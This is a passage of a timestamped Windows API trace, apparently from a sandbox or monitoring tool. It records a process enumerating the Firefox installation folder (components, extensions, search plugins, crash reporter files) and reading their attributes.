	[0055.400] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x22, dwReserved0=0x0, dwReserved1=0x0, cFileName="components.manifest", cAlternateFileName="COMPON~1.MAN")) returned 1
	[0055.400] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.400] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.400] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\browsercomps.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components\\browsercomps.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fdf98 | out: lpFileInformation=0x123fdf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49bf0480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42870)) returned 1
	[0055.400] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\components.manifest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components\\components.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1280c008 | out: lpFileInformation=0x1280c008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x22)) returned 1
	[0055.400] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\crashreporter-override.ini"), fInfoLevelId=0x0, lpFileInformation=0x1280c058 | out: lpFileInformation=0x1280c058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd9ee5100, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x30f)) returned 1
	[0055.401] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions"), fInfoLevelId=0x0, lpFileInformation=0x1280c0a8 | out: lpFileInformation=0x1280c0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.402] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.402] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.402] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.402] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{972ce4c6-7e08-4474-a285-3208198ce6fd}", cAlternateFileName="{972CE~1")) returned 1
	[0055.402] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.402] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.402] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}"), fInfoLevelId=0x0, lpFileInformation=0x1280c148 | out: lpFileInformation=0x1280c148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.403] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.403] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.403] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xdc50ab00, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x889, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0055.403] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xe11b5c00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.rdf", cAlternateFileName="")) returned 1
	[0055.403] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.403] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.403] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png"), fInfoLevelId=0x0, lpFileInformation=0x1280c238 | out: lpFileInformation=0x1280c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xdc50ab00, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x889)) returned 1
	[0055.404] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\install.rdf" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\install.rdf"), fInfoLevelId=0x0, lpFileInformation=0x1280c288 | out: lpFileInformation=0x1280c288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xe11b5c00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x54e)) returned 1
	[0055.406] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\omni.ja"), fInfoLevelId=0x0, lpFileInformation=0x1280c2d8 | out: lpFileInformation=0x1280c2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x57748a00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x44080e)) returned 1
	[0055.406] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins"), fInfoLevelId=0x0, lpFileInformation=0x1280c328 | out: lpFileInformation=0x1280c328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.407] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amazondotcom.xml", cAlternateFileName="AMAZON~1.XML")) returned 1
	[0055.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.xml", cAlternateFileName="")) returned 1
	[0055.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa17, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBay.xml", cAlternateFileName="")) returned 1
	[0055.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="google.xml", cAlternateFileName="")) returned 1
	[0055.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb91, dwReserved0=0x0, dwReserved1=0x0, cFileName="twitter.xml", cAlternateFileName="")) returned 1
	[0055.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="wikipedia.xml", cAlternateFileName="WIKIPE~1.XML")) returned 1
	[0055.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd52f9a00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoo.xml", cAlternateFileName="")) returned 1
	[0055.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.408] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.409] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\amazondotcom.xml"), fInfoLevelId=0x0, lpFileInformation=0x1280c5a8 | out: lpFileInformation=0x1280c5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x9a0)) returned 1
	[0055.410] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\bing.xml"), fInfoLevelId=0x0, lpFileInformation=0x1280c5f8 | out: lpFileInformation=0x1280c5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb3e)) returned 1
	[0055.410] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\ebay.xml"), fInfoLevelId=0x0, lpFileInformation=0x1280c648 | out: lpFileInformation=0x1280c648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa17)) returned 1
	[0055.410] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\google.xml"), fInfoLevelId=0x0, lpFileInformation=0x1280c698 | out: lpFileInformation=0x1280c698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb9b)) returned 1
	[0055.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\twitter.xml"), fInfoLevelId=0x0, lpFileInformation=0x1280c6e8 | out: lpFileInformation=0x1280c6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb91)) returned 1
	[0055.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\wikipedia.xml"), fInfoLevelId=0x0, lpFileInformation=0x1280c738 | out: lpFileInformation=0x1280c738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x8b2)) returned 1
	[0055.412] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\yahoo.xml"), fInfoLevelId=0x0, lpFileInformation=0x1280c788 | out: lpFileInformation=0x1280c788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd52f9a00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa73)) returned 1
	[0055.412] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280c7d8 | out: lpFileInformation=0x1280c7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x24ca9180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1ca70)) returned 1
	[0055.413] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.ini"), fInfoLevelId=0x0, lpFileInformation=0x1280c828 | out: lpFileInformation=0x1280c828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x45382300, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0xfa3)) returned 1
	[0055.413] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults"), fInfoLevelId=0x0, lpFileInformation=0x1280c878 | out: lpFileInformation=0x1280c878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.414] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
